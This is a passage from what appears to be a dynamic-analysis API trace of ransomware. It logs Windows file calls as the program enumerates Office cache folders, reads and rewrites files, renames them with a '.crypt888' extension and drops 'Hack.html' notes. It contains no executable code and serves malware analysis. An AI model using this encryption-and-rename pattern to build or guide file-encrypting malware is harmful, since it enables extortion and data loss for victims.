Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpFilePart=0x0) returned 0x4c [0068.097] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a1e8 [0068.098] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.098] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.098] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.098] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.098] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0068.098] FindNextFileW (in: hFindFile=0x59a1e8, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0068.098] FindClose (in: hFindFile=0x59a1e8 | out: hFindFile=0x59a1e8) returned 1 [0068.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0068.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0068.099] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpFilePart=0x0) returned 0x59 [0068.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0068.099] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.101] GetFileType (hFile=0x258) returned 0x1 [0068.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0068.101] GetFileType (hFile=0x258) returned 0x1 [0068.101] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x545 [0068.101] ReadFile (in: hFile=0x258, lpBuffer=0x26d4f14, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x26d4f14*, lpNumberOfBytesRead=0x39ed24*=0x545, lpOverlapped=0x0) returned 1 [0068.111] CloseHandle (hObject=0x258) returned 1 [0068.123] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpFilePart=0x0) returned 0x59 [0068.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0068.123] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.124] GetFileType (hFile=0x258) returned 0x1 [0068.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0068.124] GetFileType (hFile=0x258) returned 0x1 [0068.124] WriteFile (in: hFile=0x258, lpBuffer=0x2724a20*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x39ece8, lpOverlapped=0x0 | out: lpBuffer=0x2724a20*, lpNumberOfBytesWritten=0x39ece8*=0x550, lpOverlapped=0x0) returned 1 [0068.125] CloseHandle (hObject=0x258) returned 1 [0068.127] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml", lpFilePart=0x0) returned 0x59 [0068.127] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.crypt888", lpFilePart=0x0) returned 0x62 [0068.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0068.127] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xb9ceff60, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x550)) returned 1 [0068.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0068.127] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.crypt888")) returned 1 [0068.128] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", nBufferLength=0x105, lpBuffer=0x39e77c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpFilePart=0x0) returned 0x58 [0068.128] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec70) returned 1 [0068.128] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.129] GetFileType (hFile=0x258) returned 0x1 [0068.129] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec6c) returned 1 [0068.129] GetFileType (hFile=0x258) returned 0x1 [0068.129] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed78 | out: lpFileSizeHigh=0x39ed78*=0x0) returned 0x91975 [0068.130] ReadFile (in: hFile=0x258, lpBuffer=0x36698d0, nNumberOfBytesToRead=0x91975, lpNumberOfBytesRead=0x39ed24, lpOverlapped=0x0 | out: lpBuffer=0x36698d0*, lpNumberOfBytesRead=0x39ed24*=0x91975, lpOverlapped=0x0) returned 1 [0068.153] CloseHandle (hObject=0x258) returned 1 [0068.214] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", nBufferLength=0x105, lpBuffer=0x39e764, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpFilePart=0x0) returned 0x58 [0068.214] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0068.214] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.219] GetFileType (hFile=0x258) returned 0x1 [0068.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec54) returned 1 [0068.219] GetFileType (hFile=0x258) returned 0x1 [0068.219] WriteFile (in: hFile=0x258, lpBuffer=0x3941888*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x39ed14, lpOverlapped=0x0 | out: lpBuffer=0x3941888*, lpNumberOfBytesWritten=0x39ed14*=0x91980, lpOverlapped=0x0) returned 1 [0068.230] CloseHandle (hObject=0x258) returned 1 [0068.266] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml", lpFilePart=0x0) returned 0x58 [0068.266] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e89c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.crypt888", lpFilePart=0x0) returned 0x61 [0068.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecfc) returned 1 [0068.266] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), fInfoLevelId=0x0, lpFileInformation=0x39ed78 | out: lpFileInformation=0x39ed78*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xb9e46bc0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x91980)) returned 1 [0068.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf8) returned 1 [0068.267] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.crypt888" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.crypt888")) returned 1 [0068.267] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Hack.html", lpFilePart=0x0) returned 0x55 [0068.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0068.267] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.269] GetFileType (hFile=0x258) returned 0x1 [0068.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0068.269] GetFileType (hFile=0x258) returned 0x1 [0068.269] WriteFile (in: hFile=0x258, lpBuffer=0x27747d8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x27747d8*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0068.277] CloseHandle (hObject=0x258) returned 1 [0068.277] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7c0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Hack.html", lpFilePart=0x0) returned 0x48 [0068.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecb4) returned 1 [0068.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Hack.html" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0068.278] GetFileType (hFile=0x258) returned 0x1 [0068.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb0) returned 1 [0068.278] GetFileType (hFile=0x258) returned 0x1 [0068.278] WriteFile (in: hFile=0x258, lpBuffer=0x2777000*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed30, lpOverlapped=0x0 | out: lpBuffer=0x2777000*, lpNumberOfBytesWritten=0x39ed30*=0xba, lpOverlapped=0x0) returned 1 [0068.279] CloseHandle (hObject=0x258) returned 1 [0068.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.279] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0068.279] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0068.279] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0068.288] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.289] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.290] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.290] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.290] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.290] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.290] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.290] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0068.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0068.291] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C", lpFilePart=0x0) returned 0x3e [0068.291] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\", lpFilePart=0x0) returned 0x3f [0068.291] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a728 [0068.292] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.292] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.292] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.292] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.293] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.293] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.293] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.293] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.293] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.293] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0068.294] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0068.294] FindClose (in: hFindFile=0x59a728 | out: hFindFile=0x59a728) returned 1 [0068.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0068.295] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0068.295] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.295] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.295] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.297] GetFileType (hFile=0x258) returned 0x1 [0068.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.297] GetFileType (hFile=0x258) returned 0x1 [0068.297] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x10b2 [0068.297] ReadFile (in: hFile=0x258, lpBuffer=0x277c564, nNumberOfBytesToRead=0x10b2, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x277c564*, lpNumberOfBytesRead=0x39ed58*=0x10b2, lpOverlapped=0x0) returned 1 [0068.310] CloseHandle (hObject=0x258) returned 1 [0068.325] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.325] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.325] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.326] GetFileType (hFile=0x258) returned 0x1 [0068.327] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0068.327] GetFileType (hFile=0x258) returned 0x1 [0068.327] WriteFile (in: hFile=0x258, lpBuffer=0x27ce6ec*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x27ce6ec*, lpNumberOfBytesWritten=0x39ed48*=0x10c0, lpOverlapped=0x0) returned 1 [0068.327] CloseHandle (hObject=0x258) returned 1 [0068.332] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml", lpFilePart=0x0) returned 0x4d [0068.332] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888", lpFilePart=0x0) returned 0x56 [0068.332] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0068.332] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x940c2a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x940c2a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xb9edf140, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x10c0)) returned 1 [0068.332] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0068.333] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Office32WW.xml.crypt888" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\office32ww.xml.crypt888")) returned 1 [0068.333] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpFilePart=0x0) returned 0x4d [0068.333] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0068.333] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proplusrww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0068.334] GetFileType (hFile=0x258) returned 0x1 [0068.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0068.334] GetFileType (hFile=0x258) returned 0x1 [0068.334] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x41d4 [0068.334] ReadFile (in: hFile=0x258, lpBuffer=0x27cfce4, nNumberOfBytesToRead=0x41d4, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27cfce4*, lpNumberOfBytesRead=0x39ed58*=0x41d4, lpOverlapped=0x0) returned 1 [0068.357] CloseHandle (hObject=0x258) returned 1 [0068.378] GetFullPathNameW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml", lpFilePart=0x0) returned 0x4d [0068.378] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0068.378] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.xml" (normalized: "c:\\msocache\\all 